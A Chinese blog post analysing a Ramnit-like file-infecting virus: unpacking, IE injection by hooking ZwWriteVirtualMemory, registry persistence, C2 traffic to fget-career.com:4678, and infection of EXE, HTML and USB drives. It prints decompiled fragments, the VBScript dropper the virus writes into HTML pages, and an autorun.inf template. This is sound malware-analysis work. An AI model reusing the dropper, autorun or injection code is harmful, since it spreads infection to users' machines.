gmrnHTLb Analyze

毕业季学校打印店留给我的礼物,真令人感动(才怪)…


gmrnHTLb Analyze

如果只是想要了解病毒本身的行为的话,可以直接看后面的分析报告。

分析思路

IE注入

其实这个文件和之前分析过的另一个脚本病毒扔一块儿了(那个我好像没写,叫做WindowsService的病毒),我就想着干脆先扔到PEiD里面看一下,果然发现里面有、、东西,是一个UPX的壳,于是二话不说直接脱掉。打开之后发现,又又又又是日常混乱代码段:

嗯莫名其妙???突然调用这些函数??简单的调试了一下,发现大部分的程序似乎都没有正常执行。初步猜测可能是用于混淆的代码。然后看到一段神奇的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
.code:00408A1D loc_408A1D:                             ; CODE XREF: sub_40724D+17D4↓j
.code:00408A1D inc ecx
.code:00408A1E dec eax
.code:00408A1F
.code:00408A1F loc_408A1F: ; CODE XREF: sub_40724D:loc_408A1B↑j
.code:00408A1F or eax, eax
.code:00408A21 jnz short loc_408A1D
.code:00408A23 push dword ptr fs:[ecx]
.code:00408A26 pop eax ; 拿到上一个错误代码
.code:00408A27 cmp eax, 57h ; 用于反调试
.code:00408A2A jz short loc_408A2E
.code:00408A2C pop eax
.code:00408A2D retn

这段进入的时候,eax值为0x34,也就是当程序运行到push dword ptr fs:[ecx]的时候,ecx已经被eax赋值成功,此时会取出fs:[0x34]的值。上网查看后发现,这个位置相当于是GetLastError函数,记录了当前的错误代码。猜测此处是一个反调试的地方(但是我看了很久,也没发现它怎么反调试了。。。因为我挂着调试器却顺利的执行到了正确逻辑上)
之后走过长长的初始化逻辑(?),来到这边

1
2
3
4
5
6
7
8
9
10
11
12
.data:004113A0 loc_4113A0:                             ; CODE XREF: .data:loc_4113B1↓j
.data:004113A0 mov al, [esi] ; 这里再填充section刚开头的那部分内容。。。不知道再做啥
.data:004113A2 inc esi
.data:004113A3 mov [edi], al
.data:004113A5 inc edi
......
.data:00411444 mov eax, [edx]
.data:00411446 add edx, 4
.data:00411449 mov [edi], eax
.data:0041144B add edi, 4
.data:0041144E sub ecx, 4

这部分就是解密的,大概的过程就是将位于两个不同位置的程序重新插回到原先.code段的开始(直接把一开始的RVA给覆盖了。。。)然后根据节的大小不停的解密解密。。。这里没有仔细看了,然后在运行到一个接近创建文件的函数处断下,发现整个PE文件的大部分已经被解开了。为了能够把文件扒下来,这里写了一个IDC脚本:

1
2
3
4
5
6
7
8
9
10
auto from = 0x00400000;
auto to = 0x00402A00;
auto i,x,fp;
fp = fopen("path\\to\\virus","wb");

Message("\nbegin....\n");
for(i = from; i < to; i++){
fputc(Byte(i),fp);
}
Message("Finish!\n");

然而拔下来后发现,文件头居然还是原来的文件头。。。这里的文件头还是错将.upx段当成了PE头…于是只好直接继续脱壳

脱壳后

然后经过长长的运行逻辑,来到这里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
int __userpurge sub_402B89@<eax>(int *a1@<edi>, int *a2@<esi>, void *a3@<ecx>, LPCSTR lpString)
{
int v4; // eax
void *v5; // eax
CHAR *v6; // eax
CHAR szVolumePathName; // [esp+2h] [ebp-1Eh]
LPCSTR lpString1; // [esp+Ch] [ebp-14h]
char v10; // [esp+10h] [ebp-10h]
HGLOBAL hMem; // [esp+14h] [ebp-Ch]
int v12; // [esp+18h] [ebp-8h]
int v13; // [esp+1Ch] [ebp-4h]

v13 = 0;
v12 = 0;
if ( lpString && GetVolumePathNameA(lpString, &szVolumePathName, 0xAu) && GetDriveTypeA(&szVolumePathName) != 3 )
v12 = 1;
if ( !v12 )
{
v4 = lstrlenA(lpString);
v5 = (void *)FindSpString(a1, a2, (int)lpString, v4, (int *)&v10, (int *)&lpString1);
if ( v5 )
{
hMem = v5;
if ( lpString1 && lstrcmpiA(lpString1, (LPCSTR)&dword_403A5C[369]) )
v12 = 1;
GlobalFree(hMem);
}
}
if ( v12 == 1 )
{
v6 = sub_4015BF(a3, 0x404016, (LPCSTR)&dword_403A5C[0x171]);
if ( v6 )
{
hMem = v6;
if ( CopyFileA(lpString, v6, 0) )
{
CreateProc((LPSTR)hMem, 1);
v13 = 1;
}
GlobalFree(hMem);
}
}
return v13;
}

其中传入的lpString就是当前进程的内容。这里可以看到病毒会检测当前程序是否存在固定磁盘上,如果不是的话将v12置为1。(这点不是很懂,因为调试的时候显然是运行在本地磁盘的,但是v12也为1)。之后会进入这个sub_4015BF的函数,这里选取部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
for ( i = 0; i != 7; ++i )
{
v2 = 0;
if ( i )
{
switch ( i )
{
case 1:
v2 = ExpandEnvironmentStringsA("%CommonProgramFiles%", &Dst, 0x2FCu) - 1;
break;
case 2:
v2 = ExpandEnvironmentStringsA("%HOMEDRIVE%%HOMEPATH%", &Dst, 0x2FCu) - 1;
break;
case 3:
v2 = ExpandEnvironmentStringsA("%APPDATA%", &Dst, 0x2FCu) - 1;
break;
case 4:
v2 = GetSystemDirectoryA(&Dst, 0x2FCu);
break;
case 5:
v2 = GetWindowsDirectoryA(&Dst, 0x2FCu);
break;
case 6:
v2 = GetTempPathA(0x2FCu, &Dst);
break;
}
}
else
{
v2 = ExpandEnvironmentStringsA("%ProgramFiles%", &Dst, 0x2FCu) - 1;

这里会尝试7中不同的路径,检查自己是否有权限向这些位置写入数据,如果能够成功,则向某一条路径复制程序本身。
当软件自我复制成功后,会尝试进程启动这个程序:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
BOOL __stdcall CreateProc(int a1, __int16 a2)
{
HANDLE v2; // ST24_4
struct _PROCESS_INFORMATION ProcessInformation; // [esp+0h] [ebp-54h]
struct _STARTUPINFOA StartupInfo; // [esp+10h] [ebp-44h]

memcpy_0(&StartupInfo, 0x44u);
memcpy_0(&ProcessInformation, 0x10u);
StartupInfo.wShowWindow = a2;
StartupInfo.dwFlags = 1;
CreateProcessA(0, (LPSTR)a1, 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInformation);
v2 = ProcessInformation.hProcess;
CloseHandle(ProcessInformation.hThread);
return CloseHandle(v2);
}

然后这个进程就自动退出了。
另一个程序的大体流程也是一致的,只不过在文件复制的环节,如果都复制成功之后,就不会进入简单的启动进程的逻辑,而是进入如下的位置:

程序中使用GetModuleHandleLoadLibrary动态绑定一些会用到的关键函数。然后会进行HOOK

1
2
3
4
5
6
7
8
9
10
int InsertFunction()
{
dword_40DFA3 = 0;
dword_40DFA8 = 0;
dword_40DFAD = 0;
lpAddress = 0;
GetTargetProcess();
dword_40DFB7 = Inject((int)"ntdll.dll", (int)"ZwWriteVirtualMemory", 4205145);
return ResumeTargetProcessThread_0();
}

Inject里面的函数和mhook这个库提供的功能类似,通过从向ntdll.dll动态链接库中申请空间,然后将注入代码写入,实现对"ZwWriteVirtualMemory"函数的注入。由于这个函数在CreateProcess中会被调用,因此会在调用进程创建的时候进入hook函数。

之后我们来分析一下hook的内容。开始的位置有如下内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
if ( pe )
{
lpBuffer = pe;
if ( ReadProcessMemory((HANDLE)a1, pe, (DWORD)&MZ_Head, (LPDWORD)0x40, (LPOVERLAPPED)&v7) )
{
if ( MZ_Head == 'ZM'
&& ReadProcessMemory((HANDLE)a1, (char *)lpBuffer + v6, (DWORD)&PE_Head, (LPDWORD)0xF8, (LPOVERLAPPED)&v7)
&& PE_Head == 0x4550 )
{
v9 = (char *)lpBuffer + v4;
}
}
}

(文件恢复做的不是很好,这里漏掉了一些内容)这里可以猜测出,应该是病毒自己释放了一个文件,之前存放于自己进程中,然后这里通过读取进程的方式,将当前的数据读出,然后依次检测当前的文件头部是不是"MZ",以及NT头部的内容是否为"PE"来确认进程。最后将NT头部之后的地址返回存储与程序中。
然后程序尝试寻找一个可以释放关键代码的地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
do
{
begin_addr += 0x10000;
lpAddress = (LPVOID)(begin_addr + baseaddr);
lpBaseAddress = VirtualAlloc_1((LPVOID)(begin_addr + baseaddr), dwSize, 0x3000u, 0x40u);
if ( lpBaseAddress )
{
VirtualFree(lpBaseAddress, 0, 0x8000u);
lpBaseAddress = VirtualAllocEx(hProcess, lpAddress, dwSize, 0x3000u, 0x40u);
}
}
while ( begin_addr < 0x30000000 && !lpBaseAddress );

通过反复尝试进行地址分配和删除,从而确定一个可以使用的地址位置。根据后来的结果来看,最后会被定位到0x20010000

之后会尝试的读出当前进程的PE文件头,并且将本来存储与本身的DLL文件写入到进程中的,通过分配空间对其进行构造,并且填写PE头部。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
v6 = checkAndGetSectionHeaders((int)PEFile, size);
if ( v6 )
{

sectionHeaders = (_DWORD *)v6;
File_header = checkHeadBoundary((int)PEFile, size);
if ( File_header )
{
File_header_1 = File_header;
option_header = (_DWORD *)checkAndGetOptionHeader((int)PEFile, size);
if ( option_header )
{
option_header_2 = option_header;
sizeOfImage = (void *)option_header[14];
imageAddress = (char *)VirtualAlloc_1(lpAddress, option_header[14], 0x2000u, 1u);// 分配一个image大小的空间
if ( imageAddress )
{
mallocAddress = imageAddress;
offsetOfRealDLLAddres = &imageAddress[-option_header_2[7]];
HeaderAddress = VirtualAlloc_1(imageAddress, option_header_2[15], 0x1000u, 4u);
if ( HeaderAddress )
{
HeaderAddress0 = HeaderAddress;
memcpy(PEFile, HeaderAddress, option_header_2[15], 0);// 将内存中的那个PE头(也就是DLL头部)考入
VirtualProtect(HeaderAddress0, option_header_2[15], 2u, &flOldProtect);
numberOfSections = *(unsigned __int16 *)(File_header_1 + 2);// 拿到此时的Sections 的数量
each_section = sectionHeaders;
while ( checkDstBoundaryAndGetFileHeeader((int)PEFile, size, (int)each_section, 0x28) )// 遍历所有的section头部
{
VirtualSize = each_section[2]; // Misc:physical address/virtualsize
sizeOfRawData = each_section[4];
if ( VirtualSize < sizeOfRawData )
{
VirtualSize = each_section[4];
sizeOfRawData = each_section[2];
}
size_1 = VirtualSize;
BeginOfRealSection = &PEFile[each_section[5]];// PointerToRawData+PEFile也就是这个节的开始位置
v26 = mallocAddress_;
mallcSection = VirtualAlloc_1((char *)mallocAddress + each_section[3], VirtualSize, 0x1000u, 4u);// 往程序中分配节
if ( !mallcSection )
break;
HeaderAddress0 = mallcSection;
memcpy_0(mallcSection, size_1);
memcpy(BeginOfRealSection, HeaderAddress0, sizeOfRawData, 0);// 将PE文件头的真实节复制进去
each_section += 10;
if ( v26 == 1 )
{
out_ptr[1] = (char *)mallocAddress + option_header_2[4];// 这里算出入口位置
*out_ptr = mallocAddress;
out_ptr[2] = sizeOfImage;
if ( !relocDLLImportDirectory((int)mallocAddress, (int)sizeOfImage, (int)offsetOfRealDLLAddres) )
return 0;
if ( a6 != 1 )
return 1;

之后就能够将整个的DLL构建完成。之后为了能够执行这部分的内容,病毒还将程序入口逻辑进行了修改:

1
2
3
4
5
6
7
8
9
10
11
12
.text:013AB5E8 start           proc near               ; DATA XREF: HEADER:01350160↑o
.text:013AB5E8 mov edi, 0A0000h
.text:013AB5ED push 0B0000h
.text:013AB5F2
.text:013AB5F2 loc_13AB5F2: ; CODE XREF: sub_13A98B5+1F↑p
.text:013AB5F2 ; sub_13D165D-27B94↑p ...
.text:013AB5F2 call edi
.text:013AB5F4 in al, dx
.text:013AB5F5 push dword ptr [ebp+8]
.text:013AB5F8 call sub_13AADAE
.text:013AB5FD pop ecx
.text:013AB5FE pop ebp

这部分为新建立的进程的逻辑。关键在于,此时的0B0000中的内容已经变成了:

1
DllEntryPoint   dd 20010000h, 20017C79h, 0D000h, 80000h, 90000h

这里的0B0000已经彻底变成了问题DLL的入口。(由于作者技术有限,这里没有展示0A0000中的代码内容,但是不难想象,应该是一个load函数)
于是这个病毒成功的将自己注入到了一个正常的IE进程中,并且借助IE的外壳进行行动。

具体行为

之前提到过,病毒释放了一段逻辑,我们这里来分析一下主要逻辑在做什么:
程序开始时候创建了一个Mutex互斥锁,之后应该会有多线程的操作。
然后将原先的加密字符串解密,并且初始化Socket;

1
2
3
4
5
6
7
8
9
InitHeap();
WSAiNIT(); // 初始化socket
InitFileName();

SetErrorMode(0x8003u);
DecodeStr(target_host, 't', &decodeStr, size);// 解密这些字符串
DecodeStr(aTrash, 'n', &decodeStr, size);
DecodeStr(String, 'v', &decodeStr, size);
DecodeStr(aHome_0, 'v', &decodeStr, size);

检查当前磁盘符号,并且将读出的基本信息拷贝到一个全局变量中。之后将这些信息MD5处理,然并且将这些信息连同当前时间一起写入到文件\Application\dmlconf.dat
之后程序会启动多个线程进行操作

线程1

线程打开注册表Software\Microsoft\Windows NT\CurrentVersion\Winlogon中的Userinit,之后会将自己的程序地址放入其中,使其能够做到开机自启。

线程2

线程使用之前初始化完成的socket,向网址google.com:80bing.com:80yahoo.com:80三个网址发送请求,检测当前的网络情况是否通畅

线程3

每隔一阵子往文件dmlconf.dat中写入当前的时间

线程4

这个线程会检测一个全局变量,然后会创建两个子线程进行网络通信。
线程A:
负责从fget-career.com:4678中上传之前提到的各类基本信息,包括时间,本机的基本状态等等
线程B:
fget-career.com:4678中下载数据
(功力太差,这段没看懂)

线程5

首先检查注册表中的Software\WASAntidot,如果其中的值为disable,那么放弃遍历磁盘。否额的话进行磁盘的遍历。

1
2
3
4
5
6
7
8
9
10
11
12
InitWindowsInfo();
result = GetLogicalDriveStringsA(0x200u, &Buffer);
for ( i = &Buffer; *i; i += result + 1 )
{
if ( CalculateFreeSize(i) == 1 )
{
v3 = GetDriveTypeA(i);
if ( v3 == 3 || v3 == 2 )
Infected(a1, i, i);
}
result = strlen(i);
}
感染磁盘

针对磁盘,其需要避免的遍历的路径为:

1
2
C:\Windows\system32\
C:\Windows\

如果当前磁盘空间大小符合要求(超过80000h)则检查磁盘类型。本地磁盘和移动磁盘都将被感染。之后将遍历所有磁盘下的文件,然后检查文件后缀,如果文件后缀为.exe或者为.html的则进行感染

1
2
3
4
5
6
7
8
9
10
11
12
13
14
endStr = (const CHAR *)FindEndStr(lpString);
if ( endStr )
{
isExe = checkFileEnd((int)endStr, endStr, aExe);// 如果文件节为是exe的话
if ( isExe == 1 )
{
if ( CalculateFreeSize(lpString2) == 1 )
infectedExe(a1, lpString);
}
else if ( checkFileEnd(isExe, v5, aHtml) == 1 && CalculateFreeSize(lpString2) == 1 )
{
infectedHtm(lpString);
}
}

如果对象是exe文件的话,首先检查文件中导入表内有没有LoadlibraryCreateProcess函数,有的话则通过解析文件头部,将其中塞入一个.rmnet的节。然后会将原来的exe运行的入口处修改,放入两个关键逻辑。最后还会重新计算PE文件头的checksum。
其中一个逻辑即为当前逻辑,另一个逻辑内容为:
程序运行过程中,释放全局锁KyUffThOkYwRRtgPP,期间动态绑定函数,并且创建一个叫做Srv.exe的文件且运行。

感染html

此时则是通过检查html文件节为中,是否包含关键字符串</SCRIPT>,如果未包含则将以下代码写入html文件中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<SCRIPT Language=VBScript><!--',0Dh,0Ah
DropFileName = "svchost.exe"',0Dh,0Ah
WriteData = ""',0Dh,0Ah
Set FSO = CreateObject("Scripting.FileSystemObject")'
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName' // 在临时目录下创建文件 svchost.exe
If FSO.FileExists(DropPath)=False Then',0Dh,0Ah
Set FileObj = FSO.CreateTextFile(DropPath, True)',0Dh,0Ah
For i = 1 To Len(WriteData) Step 2',0Dh,0Ah
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))',0Dh,0Ah
Next',0Dh,0Ah
FileObj.Close',0Dh,0Ah
End If',0Dh,0Ah
Set WSHshell = CreateObject("WScript.Shell")',0Dh,0Ah
WSHshell.Run DropPath, 0',0Dh,0Ah
//--></SCRIPT>RmN',0

其中,WriteData内的数据为之前的病毒数据。

感染移动磁盘

前两个行为只是针对所有目录,后面还有一个针对移动磁盘的感染逻辑:
首先检查移动磁盘中的autoinf文件中末尾是否有RmN字样的字符,如果没有的话,则进行感染:

  • 首先生成一个类似GUID的值,作为目录
  • 在当前磁盘目录后面添加上RECYCLER,创建该目录并且设置为hidden
  • 之后再RECYCLER目录下,添加我们之前添加的目录,并且设为隐藏
  • 生成一个随机字符串并且再之后加上.exe

之后开始对文件进行操作。首先会像那个exe文件中写入首先往autoruninfo文件写入下列内容:

1
2
3
4
5
6
7
'[autorun]',0Dh,0Ah  
'action=Open',0Dh,0Ah
'icon=%%WinDir%%\system32\shell32.dll,4',0Dh,0Ah
'shellexecute=.\%s',0Dh,0Ah
'shell\explore\command=.\%s',0Dh,0Ah
'USEAUTOPLAY=1',0Dh,0Ah
'shell\Open\command=.\%s',0Dh,0Ah,0

%s中是之前提到的exe的路径
并且会在当前内容的前后放入大量的干扰字符,阻止正常观察结果。

分析报告

样本名称: gmrnHTLb.exe
MD5值: 44E92C4B5F440B756F8FB0C9EEB460B2
SHA256: 876C5CEA11BBBCBE4089A3D0E8F95244CF855D3668E9BF06A97D8E20C1FF237C
格式: Portable executable for 80386 (PE)

传播方式: 感染硬盘中的Exe,html文件,并且会感染U盘,随U盘传播

样本行为:

注入行为

  1. 通过查找注册表找到iexplorer.exe路径并且检查其存在(如果表中的值被更改,则会启动不同的浏览器)
  2. 将自身脱壳,然后检查C:\Program Files\Common Files, C:\Users\username,C:\Users\username\AppData\Roaming以及系统根目录(默认为C:\Windows\System32)Windows 目录(默认为C:\Windows),默认tmp目录C:\Users\fly\AppData\Local\Temp以及C:\Program Files这些目录的写权限,之后往其中一个目录中写入本身的拷贝。
  3. 之后将拷贝启动,同时关闭当前进程。最终启动的一个进程会将当前的ZwWriteVirtualMemory函数进行hook,这个函数的hook会在CreateProcess中被调用。
  4. 被调用的hook函数在程序中会将之前藏在样本中的一个DLL解密释放,之后会将当前的DLL导入到程序高位地址0x200100000中,完成PE头的拼接并且导入一些外部函数
  5. 最后修改iexplorer.exe的开始位置,让其可以跳转到注入的DLL的位置,完成注入。

恶意行为

  1. 程序首先会创建互斥锁(后方多线程用到),然后对一些字符串进行解密,得到几个关键的字符串。同时初始化socket。
  2. 检查当前磁盘的盘符,并且将磁盘信息连同本地时间进行MD5处理,写入到Application\dmlconf.dat
  3. 之后会启动6个线程进行操作

a. 线程1打开注册表Software\Microsoft\Windows NT\CurrentVersion\Winlogon中的Userinit,修改其中值实现样本能够开机自启
b. 初始化socket,并且往google.com:80bing.com:80以及yahoo.com:80三个网站发送请求,检查网络状态
c. 每隔一段时间,向文件dmlconf.dat中写入当前的时间信息
d. 从网站fget-career.com:4678中上传本机基本信息
e. 从网站fget-career.com:4678中下载程序
f. 通过检查注册表,决定是否对文件尽心感染。如果Software\WASAntidot中的值不为disabled,则开始进行感染。其中分别感染exehtml文件,向其中加入恶意程序片段,实现病毒复制。同时往U盘中写入autorun.inf,完成通过U盘的传播过程。

后记

最近开始上班了,感觉搞这些的时间很少,每天不小心熬过12点多第二天上班就会犯困QvQ。病毒本身在分析过程中也有很多没有看明白的地方(比如脱壳总是失败就很惨)写道后来发现这个病毒其实网上已经分析了很多次,思来想去还是老老实实按照自己看到的部分把分析的内容写了下来。最近blog搬了个家,现在也是回归正道了,希望以后不要再偷懒了,尽量还是有东西都写上去好了。。

参考内容

https://blog.csdn.net/qq_32400847/article/details/52798050
https://bbs.pediy.com/thread-210140-1.htm